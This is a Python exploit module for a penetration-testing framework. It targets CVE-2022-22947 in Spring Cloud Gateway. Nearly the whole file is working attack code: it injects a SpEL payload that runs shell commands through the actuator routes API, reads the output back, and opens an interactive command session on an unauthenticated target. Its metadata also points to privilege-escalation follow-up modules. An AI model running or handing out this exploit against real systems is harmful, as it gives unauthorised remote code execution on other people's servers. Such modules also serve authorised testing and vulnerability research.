Spring Cloud Gateway - Actuator SpEL RCE (CVE-2022-22947)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947) — opens execute session."""

import json
import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Spring Cloud Gateway - Actuator SpEL RCE (CVE-2022-22947)',
        'description': (
            'Exploits CVE-2022-22947 by injecting SpEL into a Gateway route filter via '
            'the actuator API, reading command output from the route JSON. Opens an '
            'interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-22947'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://tanzu.vmware.com/security/cve-2022-22947',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-22947',
        ],
        'tags': ['spring', 'gateway', 'rce', 'spel', 'actuator', 'unauth', 'kev', 'cve-2022-22947'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2022_22947_detect',
                ],
            },
        },
    }

    base_path = OptString('', 'Optional base path prefix', required=False)

    def _p(self, path: str) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return path
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/') + path

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(4)
        route = self._p(f'/actuator/gateway/routes/{name}')
        # Escape for Java string inside SpEL array.
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        spel = (
            "#{new String(T(org.springframework.util.StreamUtils)"
            ".copyToByteArray(T(java.lang.Runtime).getRuntime()"
            f'.exec(new String[]{{"/bin/sh","-c","{safe}"}}).getInputStream()))}}'
        )
        data = {
            'id': name,
            'filters': [{
                'name': 'AddResponseHeader',
                'args': {'name': 'Result', 'value': spel},
            }],
            'uri': 'http://example.com',
            'order': 0,
        }
        self.http_request(
            method='POST',
            path=route,
            data=json.dumps(data),
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        self.http_request(
            method='POST',
            path=self._p('/actuator/gateway/refresh'),
            data='',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        get = self.http_request(method='GET', path=route, allow_redirects=False)
        self.http_request(method='DELETE', path=route, allow_redirects=False)
        self.http_request(
            method='POST',
            path=self._p('/actuator/gateway/refresh'),
            data='',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not get:
            return ''
        body = get.text or ''
        # Result often appears in filters args value.
        m = re.search(r'"Result"\s*,\s*"value"\s*:\s*"((?:\\.|[^"\\])*)"', body)
        if m:
            return m.group(1).encode('utf-8').decode('unicode_escape', errors='replace')
        return body

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2022-22947 confirmed: id via SpEL route',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()